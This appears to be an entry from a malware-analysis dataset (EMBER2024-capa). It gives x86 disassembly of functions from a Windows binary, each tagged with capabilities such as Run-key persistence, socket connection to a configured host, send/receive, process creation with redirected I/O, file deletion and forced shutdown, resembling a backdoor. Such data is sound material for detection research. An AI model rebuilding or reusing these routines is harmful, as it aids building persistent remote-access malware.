joyce8/EMBER2024-capa huggingface dataset:
Function at 0x483444
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x483571
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48353d
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x421568]
call fcn.004216ac
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x48358c
call fcn.00405974
jne 0x4834be
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x483598
call fcn.00405974
jne 0x4834d2
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x483598
call fcn.00405974
jne 0x4834ee
lea eax, [ebp - 0x10]
mov edx, 0x4835a4
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x48358c
call fcn.00405974
jne 0x48350a
lea eax, [ebp - 0x10]
mov edx, 0x4835a4
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.00421744
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.00421888
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00421fac
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48354e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483578
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x4835d4
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48368e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x483662
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x48369c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x48362e
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x483673
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483695
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x484e5c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x484ebb
xor eax, eax
push ebp
push 0x484eb4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484ebb
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
pop ecx
pop ecx
pop ebp
ret

Function at 0x485ec8
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x486021
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x124], 1
xor edx, edx
push ebp
push 0x485fff
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
call fcn.0041be58
push 0
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
call fcn.0041b748
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov cl, 2
call fcn.00467698
push 0
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
call fcn.0041b748
mov eax, 0x49a39c
xor ecx, ecx
mov edx, 0x2001
call fcn.00403af4
mov edx, 0x49a39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov ecx, 0x2001
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
je 0x485f9b
push 0
push ebx
push 0x49a39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_send
push 0
push 0x2001
push 0x49a39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_recv
test ebx, ebx
jne 0x485f3f
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00409d70
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x486038
call fcn.00405864
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
call fcn.00475ecc
push 0
push 0x2001
push 0x49a39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_recv
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
call fcn.0041be58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486006
mov eax, dword [ebp - 4]
mov byte [eax + 0x124], 0
ret
Function at 0x4860c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x486171
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x486188
call fcn.00405584
mov eax, dword [0x494c30]
push eax
push 0
push esi
push 0x483c90
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486178
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret

Function at 0x486778
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4868aa
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x49e3a8], eax
cmp dword [0x49e3a8], 0xffffffff
je 0x48688f
mov word [ebp - 0x10], 2
mov eax, dword [0x4949d8]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x494b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0xc], edi
inc edi
jne 0x486804
mov eax, dword [0x494b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x48688f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x49e3a8]
push eax
call sub.wsock32.dll_connect
push 0
push 0x1fff
push 0x49c3a8
mov eax, dword [0x49e3a8]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49c3a8
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
lea edx, [ebp - 0x18]
mov eax, dword [esi + 0x50]
call fcn.00409d70
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x4868c4
call fcn.00405864
mov edx, dword [ebp - 0x14]
mov eax, dword [0x49e3a8]
call fcn.00475e30
push 0
push 0x1fff
push 0x49c3a8
mov eax, dword [0x49e3a8]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49c3a8
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4868b1
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00405554
ret
Function at 0x487ec8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48802c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x49e3b0
call sub.kernel32.dll_EnterCriticalSection
xor eax, eax
push ebp
push 0x487ff5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0048793c
test al, al
je 0x487f40
call fcn.00404f70
jmp 0x487ffc
push dword [ebp - 4]
push 0x488044
push dword [ebp - 8]
push 0x488044
push dword [ebp - 0xc]
push 0x488044
push dword [ebp + 8]
push 0x488050
lea eax, [ebp - 0x10]
mov edx, 8
call fcn.004058e0
mov edx, dword [ebp - 0x10]
mov eax, dword [0x49e3ac]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, dword [ebp - 8]
call fcn.00409edc
mov dword [ebx], eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00409b7c
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 4]
call fcn.00405584
lea edx, [ebp - 0x1c]
mov eax, dword [ebp + 8]
call fcn.00409b7c
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 8]
call fcn.00405584
xor eax, eax
mov dword [ebx + 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push esi
push 0x487450
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x487ffc
push 0x49e3b0
call sub.kernel32.dll_LeaveCriticalSection
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488033
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00405554
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x488508
Capabilities:
Power down monitor

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x50], 0
je 0x488518
xor eax, eax
call fcn.0048a4c0
cmp byte [ebx + 0x51], 0
je 0x488525
xor eax, eax
call fcn.0048a614
cmp byte [ebx + 0x52], 0
je 0x488541
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
cmp byte [ebx + 0x53], 0
je 0x48854e
mov al, 1
call fcn.0048b7d4
pop ebx
ret

Function at 0x489328
Capabilities:
Create process on windows

Disassembly:
sub eax, 1
jb 0x489339
je 0x489351
sub eax, 2
je 0x489369
dec eax
je 0x48936f
jmp 0x489374
push 5
push 0
push 0
push 0x489378
push 0x489380
push 0
call sub.shell32.dll_ShellExecuteA
ret
push 5
push 0
push 0
push 0x489388
push 0x489380
push 0
call sub.shell32.dll_ShellExecuteA
ret
call fcn.00461b9c
ret
call fcn.00461bd4
ret
Function at 0x489e88
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x489f02
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [esi + 0x48], 0
je 0x489eec
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x489ebd
sub ebx, 4
mov ebx, dword [ebx]
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x489f18
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489f09
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x48a1d4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x48a283
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a206
sub ebx, 4
mov ebx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
push ebx
call sub.kernel32.dll_GetTempPathA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a22b
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x48a298
call fcn.00405974
je 0x48a25e
mov eax, esi
mov ecx, 0x48a298
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x48a268
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a28a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x48a29c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x48a34b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a2ce
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a2f3
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x48a360
call fcn.00405974
je 0x48a326
mov eax, esi
mov ecx, 0x48a360
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x48a330
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a352
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x48a364
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x48a413
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a396
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x48a3bb
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x48a428
call fcn.00405974
je 0x48a3ee
mov eax, esi
mov ecx, 0x48a428
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x48a3f8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a41a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x48a42c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48a499
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x48a4ac
call fcn.00405864
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x48a4b0
push 0x48a4b8
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a4a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x48a6a4
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffffd8
mov ebx, eax
mov eax, dword [0x494d18]
cmp dword [eax], 2
jne 0x48a71e
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x48a71e
lea eax, [esp + 0xc]
push eax
push 0x48a734
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp eax, 1
sbb eax, eax
inc eax
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
mov edx, 0x10
xor ecx, ecx
mov dword [esp + 4], ecx
test al, al
je 0x48a71e
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x28
pop ebx
ret
Function at 0x48a84c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48a8d8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x40]
xor ecx, ecx
mov edx, 0x3c
call fcn.00403af4
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], 0x500
mov eax, dword [ebp - 4]
call fcn.004059dc
mov dword [ebp - 0x30], eax
mov eax, 0x48a8e8
mov dword [ebp - 0x34], eax
mov eax, 0x48a8f0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x48a8c2
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a8df
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x48a9fc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48aa84
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x22]
xor ecx, ecx
mov edx, 0x1e
call fcn.00403af4
mov dword [ebp - 0x1e], 3
lea eax, [ebp - 0x28]
mov ecx, 0x48aa9c
mov edx, dword [ebp - 4]
call fcn.00405864
mov eax, dword [ebp - 0x28]
call fcn.004059dc
mov dword [ebp - 0x1a], eax
mov word [ebp - 0x12], 0x54
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48aa8b
lea eax, [ebp - 0x28]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x48aee0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a26c
test al, al
jne 0x48af06
mov byte [ebp - 1], 0
jmp 0x48b0d6
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a928
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a928
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a928
xor eax, eax
push ebp
push 0x48b0cf
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403af4
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x48afa3
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48b0d6
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x48afdd
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48b0d6
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403af4
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x48b07a
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x48b085
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x48b0d6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b0d6
cmp dword [ebp - 0x14], 0
je 0x48b0a1
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x10], 0
je 0x48b0b0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0xc], 0
je 0x48b0bf
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 8], 0
je 0x48b0ce
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x48b18c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x48b23b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48b219
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0040a26c
test al, al
je 0x48b1de
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_DeleteFileA
mov dl, 1
mov eax, dword [0x417834]
call fcn.00404620
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b220
mov eax, dword [ebp - 0xc]
call fcn.00404650
ret

Function at 0x48b248
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48b394
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405530
mov eax, 0x320
call fcn.00402f00
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x48b29e
mov eax, 0x48b3ac
call fcn.0048a164
lea eax, [ebp - 0x10]
push eax
push 0x320
mov eax, dword [ebp - 0xc]
push eax
push 3
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
jne 0x48b2c4
mov eax, 0x48b3cc
call fcn.0048a164
mov eax, 0xff
call fcn.00402f00
mov ebx, eax
mov eax, 0xff
call fcn.00402f00
mov esi, eax
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
dec edi
test edi, edi
jl 0x48b363
inc edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0xff
mov dword [ebp - 0x18], 0xff
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*4 + 4]
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeNameA
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
push 0
call sub.advapi32.dll_LookupPrivilegeDisplayNameA
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0x24]
mov edx, ebx
call fcn.00405728
push dword [ebp - 0x24]
push 0x48b3f0
lea eax, [ebp - 0x28]
mov edx, esi
call fcn.00405728
push dword [ebp - 0x28]
push 0x48b3fc
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.004058e0
inc dword [ebp - 0x14]
dec edi
jne 0x48b2ee
mov eax, ebx
call fcn.00402f1c
mov eax, esi
call fcn.00402f1c
mov eax, dword [ebp - 0xc]
call fcn.00402f1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b39b
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00405554
ret